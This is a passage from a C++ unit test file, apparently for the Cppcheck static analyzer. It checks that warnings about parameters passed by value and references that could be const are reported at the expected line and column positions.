ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const 